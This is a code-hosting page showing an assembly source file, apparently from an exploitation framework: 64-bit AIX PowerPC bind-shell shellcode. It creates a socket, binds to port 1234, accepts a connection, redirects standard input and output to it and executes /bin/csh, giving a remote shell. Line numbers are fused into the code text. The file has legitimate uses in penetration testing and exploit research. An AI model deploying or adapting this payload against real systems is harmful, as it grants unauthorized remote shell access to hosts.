Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/aix-power-bndsockcode64.S
Views: 11766
/*1* $Id: aix-power-bndsockcode64.S 40 2008-11-17 02:45:30Z ramon $2*3* aix-power-bndsockcode64.S - AIX Power Network server code4* Copyright 2008 Ramon de Carvalho Valle <[email protected]>5*6* This library is free software; you can redistribute it and/or7* modify it under the terms of the GNU Lesser General Public8* License as published by the Free Software Foundation; either9* version 2.1 of the License, or (at your option) any later version.10*11* This library is distributed in the hope that it will be useful,12* but WITHOUT ANY WARRANTY; without even the implied warranty of13* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU14* Lesser General Public License for more details.15*16* You should have received a copy of the GNU Lesser General Public17* License along with this library; if not, write to the Free Software18* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA19*20*/2122/*23* Compile with the following command.24* $ gcc -Wall -DAIXLEVEL -m64 -o aix-power-bndsockcode6425* aix-power-bndsockcode64.S26*27* Where AIXLEVEL is one of the currently supported AIX levels.28* -DV530 AIX 5.3.029*30*/3132#include "aix-power.h"3334.globl .main35.csect .text[PR]3637.main:3839syscallcode:40xor. %r31,%r31,%r3141bnel syscallcode42mflr %r3043cal %r30,511(%r30)44cal %r30,-511+28(%r30)45mtctr %r3046bctr47crorc %cr6,%cr6,%cr648.long 0x44ffff0249cal %r30,-8(%r30)5051bndsockcode:52lil %r29,__CAL5354# socket5556xor %r5,%r5,%r557cal %r4,-511+1(%r29)58cal %r3,-511+2(%r29)59cal %r2,__NC_socket(%r29)60mtctr %r3061bctrl62mr %r28,%r36364# bind6566cal %r5,-511+16(%r29)67liu %r27,0xff0268oril %r27,%r27,0x04d269stu %r31,-4(%r1)70stu %r27,-4(%r1)71mr %r4,%r172cal %r2,__NC_bind(%r29)73mtctr %r3074bctrl7576# listen7778xor %r4,%r4,%r479mr %r3,%r2880cal %r2,__NC_listen(%r29)81mtctr %r3082bctrl8384# accept8586xor %r5,%r5,%r587xor %r4,%r4,%r488mr %r3,%r2889cal %r2,__NC_accept(%r29)90mtctr %r3091bctrl92mr %r26,%r39394# close9596cal %r25,-511+2(%r29)97980:99mr %r3,%r25100cal %r2,__NC_close(%r29)101mtctr %r30102bctrl103104# kfcntl105106mr %r5,%r25107xor %r4,%r4,%r4108mr %r3,%r26109cal %r2,__NC_kfcntl(%r29)110mtctr %r30111bctrl112113ai. %r25,%r25,-1114bge 0b115116shellcode64:117# lil %r31,__CAL118xor. %r5,%r5,%r5119bnel shellcode64120# mflr %r30121# cal %r30,511(%r30)122# cal %r3,-511+40(%r30)123# stb %r5,-511+48(%r30)124mflr %r24125cal %r24,511(%r24)126cal %r3,-511+40(%r24)127stb %r5,-511+48(%r24)128stdu %r5,-8(%r1)129stdu %r3,-8(%r1)130mr %r4,%r1131# cal %r2,__NC_execve(%r31)132cal %r2,__NC_execve(%r29)133# crorc %cr6,%cr6,%cr6134# .long 0x44ffff02135mtctr %r30136bctrl137.asciz "/bin/csh"138139140141